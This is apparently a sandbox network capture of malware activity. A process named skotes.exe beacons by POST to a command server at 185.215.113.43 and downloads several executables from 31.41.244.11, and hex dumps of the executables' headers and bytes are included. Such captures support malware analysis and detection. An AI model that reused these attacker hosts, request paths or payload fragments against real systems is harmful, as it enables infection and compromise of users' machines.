Dec 20, 2024 09:12:09.947557926 CET	1236	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 07 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 Data Ascii: 0".**********(00G0**
Dec 20, 2024 09:12:09.947638988 CET	1236	IN	Data Raw: 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a Data Ascii: *******************************
Dec 20, 2024 09:12:09.947676897 CET	1236	IN	Data Raw: 00 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 08 00 00 00 00 00 00 00 00 14 a5 72 00 00 01 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 Data Ascii: *0r0****************(******
Dec 20, 2024 09:12:09.947763920 CET	1236	IN	Data Raw: 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 Data Ascii: ******(*0~(* "($sS8******00*0
Dec 20, 2024 09:12:09.947815895 CET	1236	IN	Data Raw: 17 2a 00 00 00 12 00 00 00 2a 00 00 00 7e 28 2a 0c 00 06 38 01 00 00 00 2a 28 66 02 00 06 28 67 02 00 06 80 80 00 00 04 38 eb ff ff ff 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a Data Ascii: *~(8(f(g8*******"00*("****0
Dec 20, 2024 09:12:09.947851896 CET	1236	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 00 2a 01 10 00 00 00 00 9e 00 46 e4 00 3a af 00 00 01 12 00 00 14 2a 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 00 00 00 00 17 17 00 14 c2 00 00 01 13 30 06 00 04 00 00 00 00 00 00 00 00 Data Ascii: F:0000\kc***********"
Dec 20, 2024 09:12:09.947887897 CET	1236	IN	Data Raw: 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 17 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 Data Ascii: ****(000****00~;***(
Dec 20, 2024 09:12:09.947923899 CET	108	IN	Data Raw: 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 Data Ascii: ****000';0
Dec 20, 2024 09:12:10.067302942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 01 10 00 00 02 00 76 00 84 fa 00 59 00 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 92 00 00 00 01 00 00 11 28 2a 0c 00 06 Data Ascii: 0vY0*0( 8EQe8L8G8~9 9&8sV 9& 8~ 80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49780	185.215.113.43	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:12:17.567748070 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 33 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018345001&unit=246122658369
Dec 20, 2024 09:12:18.904364109 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:12:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49785	31.41.244.11	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:12:19.029534101 CET	63	OUT	GET /files/geopoxid/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 09:12:20.352890015 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:12:20 GMT Content-Type: application/octet-stream Content-Length: 1880576 Last-Modified: Wed, 18 Dec 2024 18:02:50 GMT Connection: keep-alive ETag: "67630e4a-1cb200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 69 eb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_g0J@`Ji@T0h 1 H@.rsrc X@.idata 0Z@ *@\@xnuzvlhe0/.^@tzuttanx J@.taggant00J"@
Dec 20, 2024 09:12:20.353033066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:12:20.353094101 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:12:20.353131056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:12:20.353171110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: &Xt3sZD'cEQ%'z!qo
Dec 20, 2024 09:12:20.353205919 CET	1236	IN	Data Raw: 05 b6 d6 6e f3 0d 10 1a d8 27 dc 02 e1 66 87 55 f9 f4 9b 90 67 b3 2c f2 32 1d f6 e7 7d c3 fb 9d 31 e8 68 25 f1 4e 3c 54 63 e8 50 10 30 16 96 98 db 7f 52 11 75 d8 af a3 38 2b 2f 1b c9 70 18 0b b8 28 2e b9 02 2c 9b 3c 2d 54 16 4f b5 c2 95 50 38 5f Data Ascii: n'fUg,2}1h%N<TcP0Ru8+/p(.,<-TOP8_)`i&d(Po893R}S*nss[wRv4s/7QrTj7$5UGRQ2S"O_s@rzGs.ZiMuq
Dec 20, 2024 09:12:20.353267908 CET	1236	IN	Data Raw: a0 7f 7f 2c d7 70 3d d0 3e 45 51 f0 e1 c9 76 bd c9 c9 c5 61 8c 39 d2 c9 7e 6e 01 8e 7c 37 29 ea 35 9a 74 4e ad a4 b8 c9 7c c9 07 85 62 77 d6 4d e9 f4 a1 a3 8b 74 6f 15 63 e4 24 54 63 05 0a db 7b 49 1e c3 00 c6 e6 48 23 34 0b e4 15 86 50 2b e7 eb Data Ascii: ,p=>EQva9~n\|7)5tN\|bwMtoc$Tc{IH#4P+p=$ hVr2T&vXT9be`^e]sf!mU4]s7K#65G`0MH_[]st/`me+pL\z[\|utW!
Dec 20, 2024 09:12:20.353302956 CET	896	IN	Data Raw: 35 58 b4 b9 80 bd e0 e6 d4 0b 0d 33 1c 41 14 f8 db df 69 aa db b5 e9 27 61 90 25 ba 88 02 00 74 ba 40 a8 11 57 de 93 d0 36 aa 75 d2 3e 97 ad 4d 7a 06 97 0f 82 64 49 ce 32 50 ca bb a0 6b c6 6f 87 bc 09 de df 74 44 0a 5a 5d 17 0e eb 70 ec 9c b5 90 Data Ascii: 5X3Ai'a%t@W6u>MzdI2PkotDZ]p?l',V/bYTkzX])QS7mXj\|qhuu}fC^ROD5JWP6_.P@R+ :>"LfHSw7:t{
Dec 20, 2024 09:12:20.353339911 CET	1236	IN	Data Raw: 64 d2 a2 d5 c2 92 2b bb fd 27 b3 ec fd 7c 3e 1f 68 04 07 bc 6a cc e9 40 d4 9c 50 1c 5b d9 4c ec 49 56 05 11 60 d4 30 e8 7d 0c 2a 75 80 ec 82 cd 34 74 80 ad e3 9c 3d 52 81 5d a2 da c9 37 30 7b b4 2c 39 43 1d 29 96 e7 8f 58 93 d0 4d 55 ba 96 aa e4 Data Ascii: d+'\|>hj@P[LIV`0}u4t=R]70{,9C)XMUn]c3.b<5k$\7ma(\|_F/eE)/^M^QLn5I'?"{rkzZ+;2_s`^WCNyRR#[\L u-#zpaqT'#16
Dec 20, 2024 09:12:20.353379011 CET	1236	IN	Data Raw: 63 da 4e 31 e8 d8 97 1d fb 4e 22 3d e1 53 6c a4 d6 df 48 bf 1a 80 20 a5 78 dc 48 f1 31 3a 12 84 41 76 a4 03 30 f0 6a b1 bc 6c b5 04 69 66 c2 55 dc 68 b0 0e 62 bf 91 30 01 fc c7 d8 9c 37 71 f1 3f 0c d5 4a 0b 68 d8 d2 2b 72 ef 6f 29 19 63 82 8f 16 Data Ascii: cN1N"=SlH xH1:Av0jlifUhb07q?Jh+ro)c2dSqhVY1YU.d/]ki5oVT``J-[F;lsNM[Hqo\U:Ui\|l'$y%2SO[?wcI59:QlJO9%5q;^
Dec 20, 2024 09:12:20.473416090 CET	1236	IN	Data Raw: f5 ed 64 6a 74 9d eb 52 ea ac 39 ff bb de 02 89 e7 16 16 27 5f 8e a6 4b 82 c1 ad 6f 2b af 95 80 a5 f9 56 e0 21 76 0f cc b8 d5 e5 e0 82 f4 43 ed 9e dc 93 1f 25 ad c9 ec 3a 9c cf bc 66 6f cf cd c1 4a 2e 11 97 56 44 00 a9 67 9a 3c 68 f1 26 9a b9 0b Data Ascii: djtR9'_Ko+V!vC%:foJ.VDg<h&r-m!a7}5Qm`b\'11\|:yAUcrc?64EE76?e5;chj63Q+4lX^O'tmz(4S:54Ktnh Q}V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49805	185.215.113.43	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:12:25.846467972 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 33 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018346001&unit=246122658369
Dec 20, 2024 09:12:27.189764977 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:12:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49808	31.41.244.11	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:12:27.313323975 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 09:12:28.638761997 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:12:28 GMT Content-Type: application/octet-stream Content-Length: 2016256 Last-Modified: Fri, 20 Dec 2024 07:53:37 GMT Connection: keep-alive ETag: "67652281-1ec400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 00 4d 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^M@0MgX@Vjl <@.rsrclL@.idata T@ *V@ptoytgwvP2DX@lvwbjizxL@.taggant0M"@
Dec 20, 2024 09:12:28.638886929 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:12:28.638946056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:12:28.638983011 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:12:28.639017105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 09:12:28.639051914 CET	672	IN	Data Raw: cd a7 23 48 d6 24 1e b1 52 fc 93 4d 6e 4e ed 98 43 0a 1e 82 ff 6d a1 50 dc c3 b4 4d c8 4a 77 b0 3c b8 bd 20 84 37 a4 52 1e 44 6f ac 25 c7 94 e8 0b 4c 75 5d f3 ed f9 b0 63 57 18 ef 4d 5e 94 d5 fa a0 9f 46 93 b3 8e 7c 96 6f 0d e8 72 18 60 65 95 ff Data Ascii: #H$RMnNCmPMJw< 7RDo%Lu]cWM^F\|or`eP(gTpfQL2w7eZh5ndaZ% ^n@!0qJ!RKu[g">GPY%mo\|h`F`_u=g3cm^HG%\\
Dec 20, 2024 09:12:28.639086008 CET	1236	IN	Data Raw: 05 1c 1e c7 4f 84 6e 17 12 4f 78 e7 51 fd 5f be 6f 8f b5 f4 24 e5 80 11 83 48 68 56 24 d5 8d 60 e5 69 0e 12 e9 4e 76 08 fa 06 cc 06 07 19 ea cc 63 7d 46 4c a2 1e 34 e5 2c d2 91 58 d7 34 be 96 0a 0e 16 0b 4e 50 d5 10 d1 b4 bd ea de 72 55 51 ea 93 Data Ascii: OnOxQ_o$HhV$`iNvc}FL4,X4NPrUQk>_sX~kv{(^bFj}mG`;5Hdy%uZv@6Rj:1=$A7(a$?JSVP([
Dec 20, 2024 09:12:28.639122963 CET	1236	IN	Data Raw: 53 11 8e b0 a8 69 72 5f e7 3c 18 cd 51 e6 e3 7c 03 8c ed 3b f3 a9 7d 35 63 42 58 77 96 5e 50 d6 ca 8b 75 45 8a c7 8e 76 fa ca 6e 47 92 4c df ea 3e 50 15 bf 22 ed 80 61 52 48 1a 89 a4 88 8d 25 53 69 97 a6 00 d8 a5 e2 59 06 db 12 ae 97 e9 cc 7c db Data Ascii: Sir_<Q\|;}5cBXw^PuEvnGL>P"aRH%SiY\|`Ley[mN:XQ8DPg^NvH5g(b%NJXjiev!*o/4\|+_rzZJW0OQ,\RwBW'k
Dec 20, 2024 09:12:28.639158964 CET	1236	IN	Data Raw: 12 d1 0d e8 aa 06 60 bc 2d 93 3b f5 9b f1 80 24 f2 4d f7 af 27 1e 1e 7d c4 6f f3 50 ea 8f dd de 10 0d c4 a6 60 cd 8d 15 4d fd 95 a2 5b ca 80 3e 29 48 1a 48 93 e8 8d e4 2b 69 03 09 e4 e8 e8 1a fc 76 20 c4 05 e5 da c9 9c 0a cd f7 09 d9 36 87 be 5e Data Ascii: `-;$M'}oP`M[>)HH+iv 6^/hFcA]PEh#2"5fe+nNJx-P,rX<=e"sne\|)1fn[f<TWc#Y>vcc$G^?KI'^@yEfn
Dec 20, 2024 09:12:28.639197111 CET	672	IN	Data Raw: 7c 86 f3 77 a2 61 40 69 40 d2 65 9e 87 d1 e2 84 e0 00 bc 06 6e 4e 28 86 a8 61 1d 3b 43 92 d9 50 ea 98 19 5b 59 06 ec 37 a1 03 ea d9 4c 89 01 5b a3 09 1a 0b 74 5f 41 3f f3 8c 07 c9 90 97 6d 9f 42 dd 3f ac 28 45 62 22 da ae 90 24 72 57 26 0b 1e 4a Data Ascii: \|wa@i@enN(a;CP[Y7L[t_A?mB?(Eb"$rW&J=7uJ0(e?hz;)&KBlq(a6p'YI>n%(82&IP>>yQiHJi2Kvsw}M!c`}N&04-#de
Dec 20, 2024 09:12:28.758976936 CET	1236	IN	Data Raw: 5c 95 88 24 1b f0 d8 0a 0f 62 4f f9 72 5a de 38 fd fe ff dc 69 57 3e 9a 07 c7 1c b8 5a d2 75 06 0b 19 f5 f6 63 db 86 cc 68 76 30 14 05 f4 16 c7 55 60 4b f9 11 73 a0 e7 7e 3e 60 76 4b 1c d7 f4 d8 cb 80 6a e8 48 91 a1 b5 4b 8d c2 ab 69 c9 2a e7 fa Data Ascii: \$bOrZ8iW>Zuchv0U`Ks~>`vKjHKi*?3,SB(a9:%17y#J ^zf['FmnNJ3ix_PfhOI<@aB(@fYD_XmN-P'3+.UOE.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49834	185.215.113.43	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:12:34.490761995 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 33 34 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018347001&unit=246122658369
Dec 20, 2024 09:12:35.840137005 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:12:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49836	31.41.244.11	80	5808	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 09:12:36.025207043 CET	59	OUT	GET /files/lolz/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 09:12:37.346709013 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 08:12:37 GMT Content-Type: application/octet-stream Content-Length: 21504 Last-Modified: Wed, 18 Dec 2024 18:13:28 GMT Connection: keep-alive ETag: "676310c8-5400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 6d 3b c0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4a 00 00 00 08 00 00 00 00 00 00 3a 69 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e6 68 00 00 4f 00 00 00 00 80 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 54 68 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELpm;"0J:i @ `hOTh8 H.text@I J `.rsrcL@@.relocR@BiH6p108s2(}<}=};\|<(+\|<(0P~,Brp(rcp((rp(((o(08s,(}}}\|(+\|(0Hs/+~~ioX-rp(+0rp( o!+*0rp( o!+
Dec 20, 2024 09:12:37.346771955 CET	1236	IN	Data Raw: 00 06 2a 00 00 13 30 03 00 32 00 00 00 06 00 00 11 00 02 72 ef 00 00 70 72 f7 00 00 70 28 22 00 00 0a 6f 23 00 00 0a 0a 06 06 28 03 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 28 27 00 00 0a 0b 2b 00 07 2a 00 00 1b 30 04 00 ad 00 00 00 07 00 00 11 00 Data Ascii: 02rprp("o#(+(+s&('+0s(rp( (+~%-&~s*%(+(+o-+@(.o/,%o0Xo1+o1(2-o3
Dec 20, 2024 09:12:37.346807957 CET	448	IN	Data Raw: 2b 73 26 00 00 0a 6f 40 00 00 0a 00 00 12 02 28 32 00 00 0a 2d b2 de 0f 12 02 fe 16 04 00 00 1b 6f 33 00 00 0a 00 dc 07 13 04 2b 00 11 04 2a 00 00 01 10 00 00 02 00 49 00 52 9b 00 0f 00 00 00 00 13 30 04 00 b0 00 00 00 0f 00 00 11 73 28 00 00 06 Data Ascii: +s&o@(2-o3+IR0s(sM%rupoN&%rpoN&%rpoN&%rpoN&%rpoN&%rpoN&}rp( (+~%-&~%s%(+(+)sO(+
Dec 20, 2024 09:12:37.346882105 CET	1236	IN	Data Raw: 2b 00 00 06 73 5c 00 00 0a 28 0e 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 0c 2b 00 08 2a 13 30 02 00 18 00 00 00 14 00 00 11 00 28 5d 00 00 0a 0a 12 00 72 7f 02 00 70 28 5e 00 00 0a 0b 2b 00 07 2a 1b 30 07 00 d3 00 00 00 15 00 00 11 00 00 73 5f 00 Data Ascii: +s\(+(+s&+0(]rp(^+0s_%s`%rpoa%rprp(boc%od%oe%of%ogohoi&ojokolokom(>,rp((+r)p
Dec 20, 2024 09:12:37.346916914 CET	1236	IN	Data Raw: 00 00 2b 00 dd 7d 04 00 00 02 7b 2f 00 00 04 0b 02 7c 2f 00 00 04 fe 15 21 00 00 01 02 15 25 0a 7d 14 00 00 04 12 01 28 70 00 00 0a 00 72 e4 05 00 70 7e 05 00 00 04 28 1a 00 00 0a 28 19 00 00 0a 00 72 12 06 00 70 7e 06 00 00 04 28 1a 00 00 0a 28 Data Ascii: +}{/\|/!%}(prp~((rp~(({(}r@p({oy}'+J\|'(z}(rpp\|(({\|((\|?(}(\|(\|'(~-/\|'o3
Dec 20, 2024 09:12:37.346968889 CET	448	IN	Data Raw: 00 02 00 00 00 ec 04 00 00 37 00 00 00 23 05 00 00 17 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 4c 05 00 00 53 05 00 00 57 00 00 00 1e 00 00 01 06 2a 22 02 28 6e 00 00 0a 00 2a 00 1b 30 07 00 fe 01 00 00 1a 00 00 11 02 7b 30 00 00 04 0a 06 17 Data Ascii: 7#LSW"(n0{06++6++s}4,+.++M8{4{2oo(-C%}0}9\|1(+}{9\|9%}0(}6
Dec 20, 2024 09:12:37.347122908 CET	1236	IN	Data Raw: 00 02 14 7d 35 00 00 04 de 19 06 16 2f 14 02 7b 34 00 00 04 2c 0c 02 7b 34 00 00 04 6f 33 00 00 0a 00 dc 02 14 7d 34 00 00 04 00 de 29 13 04 02 11 04 7d 38 00 00 04 00 72 3e 09 00 70 02 7b 38 00 00 04 6f 59 00 00 0a 28 1a 00 00 0a 28 19 00 00 0a Data Ascii: }5/{4,{4o3}4)}8r>p{8oY((}0\|1(}0\|1(AdW&[)"(n
Dec 20, 2024 09:12:37.347203016 CET	1236	IN	Data Raw: 06 06 00 79 07 d3 0d 06 00 75 0c d3 0d 5f 00 4f 0d 00 00 06 00 63 03 2d 06 06 00 da 08 a1 0d 06 00 ac 02 d3 0d 12 00 2c 0f 3c 0c 06 00 c7 0a 4a 05 06 00 49 07 ec 0a 06 00 48 0a ec 0a 06 00 37 0f ec 0a 0a 00 e0 0f 66 0e 0a 00 50 0b 66 0e 0e 00 01 Data Ascii: yu_Oc-,<JIH7fPfL-XLC6>]JjJf^JFJJJJ-JJn:A
